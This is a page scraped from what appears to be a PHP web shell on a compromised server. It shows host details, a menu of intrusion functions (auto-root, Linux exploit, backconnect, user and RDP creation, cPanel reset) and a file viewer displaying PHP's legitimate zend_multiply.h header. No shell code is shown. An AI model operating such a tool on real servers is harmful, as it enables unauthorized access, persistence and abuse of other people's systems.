Linux ip-148-66-134-25.ip.secureserver.net 3.10.0-1160.119.1.el7.tuxcare.els10.x86_64 #1 SMP Fri Oct 11 21:40:41 UTC 2024 x86_64
Apache
: 148.66.134.25 | : 3.144.43.194
66 Domain
8.0.30
amvm
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
opt /
cpanel /
ea-php82 /
root /
usr /
include /
php /
Zend /
[ HOME SHELL ]
Name
Size
Permission
Action
Optimizer
[ DIR ]
drwxr-xr-x
zend.h
15.27
KB
-rw-r--r--
zend_API.h
98.02
KB
-rw-r--r--
zend_alloc.h
18.83
KB
-rw-r--r--
zend_alloc_sizes.h
2.57
KB
-rw-r--r--
zend_arena.h
5.92
KB
-rw-r--r--
zend_ast.h
12.7
KB
-rw-r--r--
zend_atomic.h
5.57
KB
-rw-r--r--
zend_attributes.h
5.48
KB
-rw-r--r--
zend_attributes_arginfo.h
10.5
KB
-rw-r--r--
zend_bitset.h
7.74
KB
-rw-r--r--
zend_build.h
1.59
KB
-rw-r--r--
zend_builtin_functions.h
1.48
KB
-rw-r--r--
zend_builtin_functions_arginfo...
13.85
KB
-rw-r--r--
zend_closures.h
2.24
KB
-rw-r--r--
zend_closures_arginfo.h
2.04
KB
-rw-r--r--
zend_compile.h
47.69
KB
-rw-r--r--
zend_config.h
32
B
-rw-r--r--
zend_constants.h
6.55
KB
-rw-r--r--
zend_constants_arginfo.h
1.32
KB
-rw-r--r--
zend_cpuinfo.h
7.38
KB
-rw-r--r--
zend_dtrace.h
2
KB
-rw-r--r--
zend_enum.h
2.78
KB
-rw-r--r--
zend_enum_arginfo.h
1.66
KB
-rw-r--r--
zend_errors.h
2.34
KB
-rw-r--r--
zend_exceptions.h
4.44
KB
-rw-r--r--
zend_exceptions_arginfo.h
17.34
KB
-rw-r--r--
zend_execute.h
20.07
KB
-rw-r--r--
zend_extensions.h
6.2
KB
-rw-r--r--
zend_fibers.h
4.85
KB
-rw-r--r--
zend_fibers_arginfo.h
3.49
KB
-rw-r--r--
zend_float.h
15.08
KB
-rw-r--r--
zend_gc.h
3.82
KB
-rw-r--r--
zend_gdb.h
1.39
KB
-rw-r--r--
zend_generators.h
7.34
KB
-rw-r--r--
zend_generators_arginfo.h
2.72
KB
-rw-r--r--
zend_globals.h
8.99
KB
-rw-r--r--
zend_globals_macros.h
2.74
KB
-rw-r--r--
zend_hash.h
49.64
KB
-rw-r--r--
zend_highlight.h
2.24
KB
-rw-r--r--
zend_inheritance.h
2.37
KB
-rw-r--r--
zend_ini.h
11.65
KB
-rw-r--r--
zend_ini_parser.h
3.43
KB
-rw-r--r--
zend_ini_scanner.h
1.84
KB
-rw-r--r--
zend_ini_scanner_defs.h
183
B
-rw-r--r--
zend_interfaces.h
4.02
KB
-rw-r--r--
zend_interfaces_arginfo.h
7.84
KB
-rw-r--r--
zend_istdiostream.h
1.5
KB
-rw-r--r--
zend_iterators.h
3.7
KB
-rw-r--r--
zend_language_parser.h
10.48
KB
-rw-r--r--
zend_language_scanner.h
2.97
KB
-rw-r--r--
zend_language_scanner_defs.h
263
B
-rw-r--r--
zend_list.h
3.39
KB
-rw-r--r--
zend_llist.h
3.91
KB
-rw-r--r--
zend_long.h
4.13
KB
-rw-r--r--
zend_map_ptr.h
2.94
KB
-rw-r--r--
zend_max_execution_timer.h
1.45
KB
-rw-r--r--
zend_mmap.h
1.47
KB
-rw-r--r--
zend_modules.h
4.71
KB
-rw-r--r--
zend_multibyte.h
4.78
KB
-rw-r--r--
zend_multiply.h
9.97
KB
-rw-r--r--
zend_object_handlers.h
14.02
KB
-rw-r--r--
zend_objects.h
1.77
KB
-rw-r--r--
zend_objects_API.h
4.54
KB
-rw-r--r--
zend_observer.h
6.25
KB
-rw-r--r--
zend_operators.h
33.02
KB
-rw-r--r--
zend_portability.h
21.45
KB
-rw-r--r--
zend_ptr_stack.h
4.2
KB
-rw-r--r--
zend_range_check.h
2.93
KB
-rw-r--r--
zend_signal.h
3.98
KB
-rw-r--r--
zend_smart_str.h
6.76
KB
-rw-r--r--
zend_smart_str_public.h
1.13
KB
-rw-r--r--
zend_smart_string.h
4.11
KB
-rw-r--r--
zend_smart_string_public.h
1.21
KB
-rw-r--r--
zend_sort.h
1.5
KB
-rw-r--r--
zend_stack.h
2.3
KB
-rw-r--r--
zend_stream.h
3.53
KB
-rw-r--r--
zend_string.h
20.23
KB
-rw-r--r--
zend_strtod.h
2.1
KB
-rw-r--r--
zend_strtod_int.h
3.33
KB
-rw-r--r--
zend_system_id.h
1.37
KB
-rw-r--r--
zend_type_info.h
4.44
KB
-rw-r--r--
zend_types.h
46.47
KB
-rw-r--r--
zend_variables.h
2.99
KB
-rw-r--r--
zend_virtual_cwd.h
12.32
KB
-rw-r--r--
zend_vm.h
1.95
KB
-rw-r--r--
zend_vm_def.h
281.09
KB
-rw-r--r--
zend_vm_execute.h
2.02
MB
-rw-r--r--
zend_vm_handlers.h
89.36
KB
-rw-r--r--
zend_vm_opcodes.h
12.39
KB
-rw-r--r--
zend_vm_trace_handlers.h
3.14
KB
-rw-r--r--
zend_vm_trace_lines.h
1.71
KB
-rw-r--r--
zend_vm_trace_map.h
2.6
KB
-rw-r--r--
zend_weakrefs.h
2.74
KB
-rw-r--r--
zend_weakrefs_arginfo.h
3.4
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : zend_multiply.h
/* +----------------------------------------------------------------------+ | Zend Engine | +----------------------------------------------------------------------+ | Copyright (c) Zend Technologies Ltd. (http://www.zend.com) | +----------------------------------------------------------------------+ | This source file is subject to version 2.00 of the Zend license, | | that is bundled with this package in the file LICENSE, and is | | available through the world-wide-web at the following url: | | http://www.zend.com/license/2_00.txt. | | If you did not receive a copy of the Zend license and are unable to | | obtain it through the world-wide-web, please send a note to | | license@zend.com so we can mail you a copy immediately. | +----------------------------------------------------------------------+ | Authors: Sascha Schumann <sascha@schumann.cx> | | Ard Biesheuvel <ard.biesheuvel@linaro.org> | +----------------------------------------------------------------------+ */ #include "zend_portability.h" #ifndef ZEND_MULTIPLY_H #define ZEND_MULTIPLY_H #if PHP_HAVE_BUILTIN_SMULL_OVERFLOW && SIZEOF_LONG == SIZEOF_ZEND_LONG #define ZEND_SIGNED_MULTIPLY_LONG(a, b, lval, dval, usedval) do { \ long __tmpvar; \ if (((usedval) = __builtin_smull_overflow((a), (b), &__tmpvar))) { \ (dval) = (double) (a) * (double) (b); \ } \ else (lval) = __tmpvar; \ } while (0) #elif PHP_HAVE_BUILTIN_SMULLL_OVERFLOW && SIZEOF_LONG_LONG == SIZEOF_ZEND_LONG #define ZEND_SIGNED_MULTIPLY_LONG(a, b, lval, dval, usedval) do { \ long long __tmpvar; \ if (((usedval) = __builtin_smulll_overflow((a), (b), &__tmpvar))) { \ (dval) = (double) (a) * (double) (b); \ } \ else (lval) = __tmpvar; \ } while (0) #elif (defined(__i386__) || defined(__x86_64__)) && defined(__GNUC__) #define ZEND_SIGNED_MULTIPLY_LONG(a, b, lval, dval, usedval) do { \ zend_long __tmpvar; \ __asm__ ("imul %3,%0\n" \ "adc $0,%1" \ : "=r"(__tmpvar),"=r"(usedval) \ : "0"(a), "r"(b), "1"(0)); \ if (usedval) (dval) = (double) (a) * (double) (b); \ else (lval) = __tmpvar; \ } while (0) #elif defined(__arm__) && defined(__GNUC__) #define ZEND_SIGNED_MULTIPLY_LONG(a, b, lval, dval, usedval) do { \ zend_long __tmpvar; \ __asm__("smull %0, %1, %2, %3\n" \ "sub %1, %1, %0, asr #31" \ : "=r"(__tmpvar), "=r"(usedval) \ : "r"(a), "r"(b)); \ if (usedval) (dval) = (double) (a) * (double) (b); \ else (lval) = __tmpvar; \ } while (0) #elif defined(__aarch64__) && defined(__GNUC__) #define ZEND_SIGNED_MULTIPLY_LONG(a, b, lval, dval, usedval) do { \ zend_long __tmpvar; \ __asm__("mul %0, %2, %3\n" \ "smulh %1, %2, %3\n" \ "sub %1, %1, %0, asr #63\n" \ : "=&r"(__tmpvar), "=&r"(usedval) \ : "r"(a), "r"(b)); \ if (usedval) (dval) = (double) (a) * (double) (b); \ else (lval) = __tmpvar; \ } while (0) #elif defined(ZEND_WIN32) # ifdef _M_X64 # pragma intrinsic(_mul128) # define ZEND_SIGNED_MULTIPLY_LONG(a, b, lval, dval, usedval) do { \ __int64 __high; \ __int64 __low = _mul128((a), (b), &__high); \ if ((__low >> 63I64) == __high) { \ (usedval) = 0; \ (lval) = __low; \ } else { \ (usedval) = 1; \ (dval) = (double)(a) * (double)(b); \ } \ } while (0) # elif defined(_M_ARM64) # pragma intrinsic(__mulh) # define ZEND_SIGNED_MULTIPLY_LONG(a, b, lval, dval, usedval) do { \ __int64 __high = __mulh((a), (b)); \ __int64 __low = (a) * (b); \ if ((__low >> 63I64) == __high) { \ (usedval) = 0; \ (lval) = __low; \ } else { \ (usedval) = 1; \ (dval) = (double)(a) * (double)(b); \ } \ } while (0) # else # define ZEND_SIGNED_MULTIPLY_LONG(a, b, lval, dval, usedval) do { \ zend_long __lres = (a) * (b); \ long double __dres = (long double)(a) * (long double)(b); \ long double __delta = (long double) __lres - __dres; \ if ( ((usedval) = (( __dres + __delta ) != __dres))) { \ (dval) = __dres; \ } else { \ (lval) = __lres; \ } \ } while (0) # endif #elif defined(__powerpc64__) && defined(__GNUC__) #define ZEND_SIGNED_MULTIPLY_LONG(a, b, lval, dval, usedval) do { \ long __low, __high; \ __asm__("mulld %0,%2,%3\n\t" \ "mulhd %1,%2,%3\n" \ : "=&r"(__low), "=&r"(__high) \ : "r"(a), "r"(b)); \ if ((__low >> 63) != __high) { \ (dval) = (double) (a) * (double) (b); \ (usedval) = 1; \ } else { \ (lval) = __low; \ (usedval) = 0; \ } \ } while (0) #elif SIZEOF_ZEND_LONG == 4 #define ZEND_SIGNED_MULTIPLY_LONG(a, b, lval, dval, usedval) do { \ int64_t __result = (int64_t) (a) * (int64_t) (b); \ if (__result > ZEND_LONG_MAX || __result < ZEND_LONG_MIN) { \ (dval) = (double) __result; \ (usedval) = 1; \ } else { \ (lval) = (long) __result; \ (usedval) = 0; \ } \ } while (0) #else #define ZEND_SIGNED_MULTIPLY_LONG(a, b, lval, dval, usedval) do { \ long __lres = (a) * (b); \ long double __dres = (long double)(a) * (long double)(b); \ long double __delta = (long double) __lres - __dres; \ if ( ((usedval) = (( __dres + __delta ) != __dres))) { \ (dval) = __dres; \ } else { \ (lval) = __lres; \ } \ } while (0) #endif #if defined(__GNUC__) && (defined(__native_client__) || defined(i386)) static zend_always_inline size_t zend_safe_address(size_t nmemb, size_t size, size_t offset, bool *overflow) { size_t res = nmemb; size_t m_overflow = 0; if (ZEND_CONST_COND(offset == 0, 0)) { __asm__ ("mull %3\n\tadcl $0,%1" : "=&a"(res), "=&d" (m_overflow) : "%0"(res), "rm"(size)); } else { __asm__ ("mull %3\n\taddl %4,%0\n\tadcl $0,%1" : "=&a"(res), "=&d" (m_overflow) : "%0"(res), "rm"(size), "rm"(offset)); } if (UNEXPECTED(m_overflow)) { *overflow = 1; return 0; } *overflow = 0; return res; } #elif defined(__GNUC__) && defined(__x86_64__) static zend_always_inline size_t zend_safe_address(size_t nmemb, size_t size, size_t offset, bool *overflow) { size_t res = nmemb; zend_ulong m_overflow = 0; #ifdef __ILP32__ /* x32 */ # define LP_SUFF "l" #else /* amd64 */ # define LP_SUFF "q" #endif if (ZEND_CONST_COND(offset == 0, 0)) { __asm__ ("mul" LP_SUFF " %3\n\t" "adc $0,%1" : "=&a"(res), "=&d" (m_overflow) : "%0"(res), "rm"(size)); } else { __asm__ ("mul" LP_SUFF " %3\n\t" "add %4,%0\n\t" "adc $0,%1" : "=&a"(res), "=&d" (m_overflow) : "%0"(res), "rm"(size), "rm"(offset)); } #undef LP_SUFF if (UNEXPECTED(m_overflow)) { *overflow = 1; return 0; } *overflow = 0; return res; } #elif defined(__GNUC__) && defined(__arm__) static zend_always_inline size_t zend_safe_address(size_t nmemb, size_t size, size_t offset, bool *overflow) { size_t res; zend_ulong m_overflow; __asm__ ("umlal %0,%1,%2,%3" : "=r"(res), "=r"(m_overflow) : "r"(nmemb), "r"(size), "0"(offset), "1"(0)); if (UNEXPECTED(m_overflow)) { *overflow = 1; return 0; } *overflow = 0; return res; } #elif defined(__GNUC__) && defined(__aarch64__) static zend_always_inline size_t zend_safe_address(size_t nmemb, size_t size, size_t offset, bool *overflow) { size_t res; zend_ulong m_overflow; __asm__ ("mul %0,%2,%3\n\tumulh %1,%2,%3\n\tadds %0,%0,%4\n\tadc %1,%1,xzr" : "=&r"(res), "=&r"(m_overflow) : "r"(nmemb), "r"(size), "r"(offset)); if (UNEXPECTED(m_overflow)) { *overflow = 1; return 0; } *overflow = 0; return res; } #elif defined(__GNUC__) && defined(__powerpc64__) static zend_always_inline size_t zend_safe_address(size_t nmemb, size_t size, size_t offset, bool *overflow) { size_t res; unsigned long m_overflow; __asm__ ("mulld %0,%2,%3\n\t" "mulhdu %1,%2,%3\n\t" "addc %0,%0,%4\n\t" "addze %1,%1\n" : "=&r"(res), "=&r"(m_overflow) : "r"(nmemb), "r"(size), "r"(offset)); if (UNEXPECTED(m_overflow)) { *overflow = 1; return 0; } *overflow = 0; return res; } #elif SIZEOF_SIZE_T == 4 static zend_always_inline size_t zend_safe_address(size_t nmemb, size_t size, size_t offset, bool *overflow) { uint64_t res = (uint64_t) nmemb * (uint64_t) size + (uint64_t) offset; if (UNEXPECTED(res > UINT64_C(0xFFFFFFFF))) { *overflow = 1; return 0; } *overflow = 0; return (size_t) res; } #else static zend_always_inline size_t zend_safe_address(size_t nmemb, size_t size, size_t offset, bool *overflow) { size_t res = nmemb * size + offset; double _d = (double)nmemb * (double)size + (double)offset; double _delta = (double)res - _d; if (UNEXPECTED((_d + _delta ) != _d)) { *overflow = 1; return 0; } *overflow = 0; return res; } #endif static zend_always_inline size_t zend_safe_address_guarded(size_t nmemb, size_t size, size_t offset) { bool overflow; size_t ret = zend_safe_address(nmemb, size, offset, &overflow); if (UNEXPECTED(overflow)) { zend_error_noreturn(E_ERROR, "Possible integer overflow in memory allocation (%zu * %zu + %zu)", nmemb, size, offset); return 0; } return ret; } /* A bit more generic version of the same */ static zend_always_inline size_t zend_safe_addmult(size_t nmemb, size_t size, size_t offset, const char *message) { bool overflow; size_t ret = zend_safe_address(nmemb, size, offset, &overflow); if (UNEXPECTED(overflow)) { zend_error_noreturn(E_ERROR, "Possible integer overflow in %s (%zu * %zu + %zu)", message, nmemb, size, offset); return 0; } return ret; } #endif /* ZEND_MULTIPLY_H */
Close